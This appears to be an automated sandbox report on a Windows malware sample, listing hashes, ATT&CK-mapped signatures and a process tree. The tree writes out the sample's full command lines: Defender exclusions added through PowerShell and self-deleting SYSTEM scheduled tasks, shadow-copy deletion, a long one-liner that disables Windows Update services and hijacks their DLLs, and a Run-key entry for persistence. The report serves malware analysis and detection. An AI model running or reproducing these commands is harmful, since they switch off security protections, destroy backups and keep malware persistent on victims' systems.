dd41603ac3b530348350116c39d48e3d67ecd203847947839b4e1c81cdcb7cc4

Analysis

max time kernel
138s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
24/10/2026, 12:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.06.exe
Size 30.5MB
Sample261024-pvpyssyz6m
SHA256 dd41603ac3b530348350116c39d48e3d67ecd203847947839b4e1c81cdcb7cc4
MD5 9379c4f971dd0bf74db5608a0f7e6b42
SHA1 be3711ffa49cf42bac14dcfd78a3098882c05f2d
SHA512 e2aa7d00bf9e80f330fe938824618959a989f8fa05175dbaa76c2e7645b0f7ae66c3578c37f6dc833f416c06fa2959806f0b7505ec7d5e1113698021a3beaaf7
SSDEEP 196608:zZKC/p+HINcZBAwLYhuR9lfn+OfIwYooiJiGD5y4IIYCYS:YC/p+HuPOc4r
TLSH
T11067181BFA809EB7F546963548DB4BA07372E9761752078F70B0B32DBFAE3802E81545
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\e3vnEp = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5004	powershell.exe
6068	powershell.exe

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
4120	icacls.exe
3108	icacls.exe
5440	icacls.exe
3084	icacls.exe
1676	icacls.exe
4460	icacls.exe
1088	icacls.exe
5596	icacls.exe
2888	icacls.exe
5004	icacls.exe
2700	takeown.exe
5388	icacls.exe
1200	icacls.exe
2320	icacls.exe
2176	icacls.exe
5308	icacls.exe
4600	icacls.exe
2816	icacls.exe
6016	icacls.exe
5320	icacls.exe
3136	icacls.exe
4576	icacls.exe
900	takeown.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 2 IoCs

pid	Process
4704	M2Xu5b.exe
1400	M2Xu5b.exe

Loads dropped DLL 2 IoCs

pid	Process
4704	M2Xu5b.exe
1400	M2Xu5b.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1676	icacls.exe
5320	icacls.exe
1088	icacls.exe
900	takeown.exe
5308	icacls.exe
2700	takeown.exe
4460	icacls.exe
6016	icacls.exe
4120	icacls.exe
3108	icacls.exe
4600	icacls.exe
1200	icacls.exe
5596	icacls.exe
5004	icacls.exe
2176	icacls.exe
5440	icacls.exe
3136	icacls.exe
5388	icacls.exe
2320	icacls.exe
2816	icacls.exe
4576	icacls.exe
2888	icacls.exe
3084	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\e3vnEp\\M2Xu5b.exe\""	M2Xu5b.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
1852	cmd.exe
5176	cmd.exe
1516	cmd.exe
3044	cmd.exe
4148	cmd.exe
1672	cmd.exe
3152	cmd.exe
1820	cmd.exe
1392	cmd.exe
4532	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	M2Xu5b.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\7x7GeV	M2Xu5b.exe
File created	C:\Program Files (x86)\7x7GeV\7x7GeV.exe	M2Xu5b.exe
File created	C:\Program Files (x86)\7x7GeV\XPSPLOG.dll	M2Xu5b.exe
File created	C:\Program Files (x86)\7x7GeV\image.png	M2Xu5b.exe
File opened for modification	C:\Program Files (x86)\7x7GeV\7x7GeV.exe	M2Xu5b.exe
File opened for modification	C:\Program Files (x86)\7x7GeV\XPSPLOG.dll	M2Xu5b.exe
File opened for modification	C:\Program Files (x86)\7x7GeV\image.png	M2Xu5b.exe
File created	C:\Program Files (x86)\7x7GeV\thumbs.db	M2Xu5b.exe
File opened for modification	C:\Program Files (x86)\7x7GeV\thumbs.db	M2Xu5b.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2480	sc.exe
1960	sc.exe
5608	sc.exe
2820	sc.exe
932	sc.exe
2908	sc.exe
6028	sc.exe
1720	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 28 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5144	cmd.exe
1396	cmd.exe
5280	cmd.exe
6104	cmd.exe
2984	cmd.exe
2556	cmd.exe
3848	cmd.exe
3776	cmd.exe
2896	cmd.exe
1108	cmd.exe
4656	cmd.exe
4728	cmd.exe
2768	cmd.exe
4892	cmd.exe
2800	cmd.exe
2828	cmd.exe
4072	cmd.exe
1956	cmd.exe
4828	cmd.exe
2732	cmd.exe
240	cmd.exe
3500	cmd.exe
3104	cmd.exe
2764	cmd.exe
548	cmd.exe
1084	cmd.exe
1112	cmd.exe
3892	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.06.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.06.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	M2Xu5b.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	M2Xu5b.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1224	schtasks.exe
5432	schtasks.exe
1436	schtasks.exe
2300	schtasks.exe
2444	schtasks.exe
1232	schtasks.exe
4128	schtasks.exe
2156	schtasks.exe
3668	schtasks.exe
5268	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4524	install.2.0.06.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe
4704	M2Xu5b.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	5004	powershell.exe
Token: SeIncreaseQuotaPrivilege	5004	powershell.exe
Token: SeSecurityPrivilege	5004	powershell.exe
Token: SeTakeOwnershipPrivilege	5004	powershell.exe
Token: SeLoadDriverPrivilege	5004	powershell.exe
Token: SeSystemProfilePrivilege	5004	powershell.exe
Token: SeSystemtimePrivilege	5004	powershell.exe
Token: SeProfSingleProcessPrivilege	5004	powershell.exe
Token: SeIncBasePriorityPrivilege	5004	powershell.exe
Token: SeCreatePagefilePrivilege	5004	powershell.exe
Token: SeBackupPrivilege	5004	powershell.exe
Token: SeRestorePrivilege	5004	powershell.exe
Token: SeShutdownPrivilege	5004	powershell.exe
Token: SeDebugPrivilege	5004	powershell.exe
Token: SeSystemEnvironmentPrivilege	5004	powershell.exe
Token: SeRemoteShutdownPrivilege	5004	powershell.exe
Token: SeUndockPrivilege	5004	powershell.exe
Token: SeManageVolumePrivilege	5004	powershell.exe
Token: 33	5004	powershell.exe
Token: 34	5004	powershell.exe
Token: 35	5004	powershell.exe
Token: 36	5004	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 4704 wrote to memory of 5004	4704	M2Xu5b.exe	90
PID 4704 wrote to memory of 3152	4704	M2Xu5b.exe	92
PID 3152 wrote to memory of 5268	3152	cmd.exe	94
PID 3152 wrote to memory of 4128	3152	cmd.exe	97
PID 4704 wrote to memory of 1820	4704	M2Xu5b.exe	98
PID 3152 wrote to memory of 1380	3152	cmd.exe	102
PID 1820 wrote to memory of 2444	1820	cmd.exe	104
PID 1820 wrote to memory of 4288	1820	cmd.exe	105
PID 4704 wrote to memory of 1516	4704	M2Xu5b.exe	107
PID 1820 wrote to memory of 5636	1820	cmd.exe	108
PID 1516 wrote to memory of 1224	1516	cmd.exe	112
PID 4704 wrote to memory of 3044	4704	M2Xu5b.exe	113
PID 3044 wrote to memory of 1232	3044	cmd.exe	115
PID 3044 wrote to memory of 2508	3044	cmd.exe	116
PID 3044 wrote to memory of 4664	3044	cmd.exe	118
PID 4704 wrote to memory of 1392	4704	M2Xu5b.exe	119
PID 1516 wrote to memory of 2108	1516	cmd.exe	120
PID 1392 wrote to memory of 5432	1392	cmd.exe	122
PID 1516 wrote to memory of 5008	1516	cmd.exe	123
PID 1392 wrote to memory of 2056	1392	cmd.exe	124
PID 1392 wrote to memory of 3716	1392	cmd.exe	126
PID 4072 wrote to memory of 3692	4072	cmd.exe	130
PID 548 wrote to memory of 1676	548	cmd.exe	131
PID 2896 wrote to memory of 2776	2896	cmd.exe	132
PID 1396 wrote to memory of 6084	1396	cmd.exe	133

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.06.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.06.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:4524

C:\Users\Public\e3vnEp\M2Xu5b.exe
"C:\Users\Public\e3vnEp\M2Xu5b.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\e3vnEp\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3152
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\e3vnEp\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5268
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4128
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1820
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2444
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4288
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1516
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1224
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2108
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3044
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1232
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2508
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1392
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5432
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2056
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3716
- C:\Program Files (x86)\7x7GeV\7x7GeV.exe
  "C:\Program Files (x86)\7x7GeV\7x7GeV.exe"
  2⤵
  PID:2840
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:1108
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7x7GeV" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:1956
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\7x7GeV" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2320
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:4656
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:5280
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7x7GeV" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:4828
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\7x7GeV" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2816
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    PID:2732
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      PID:4924
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        
        PID:2464
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:932
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:2908
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      PID:5644
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        
        PID:708
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      PID:2820
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:5608
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      PID:4744
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        
        PID:4384
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      PID:1960
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:6028
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      PID:1340
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        
        PID:2208
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      PID:2480
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:1720
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:900
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6016
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4120
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2888
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2700
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5320
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5004
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1676
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:4780
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      PID:3008
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      PID:3832
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6068
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\7x7GeV\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:4532
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\7x7GeV\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4128
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2912
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:5696
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\7x7GeV" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
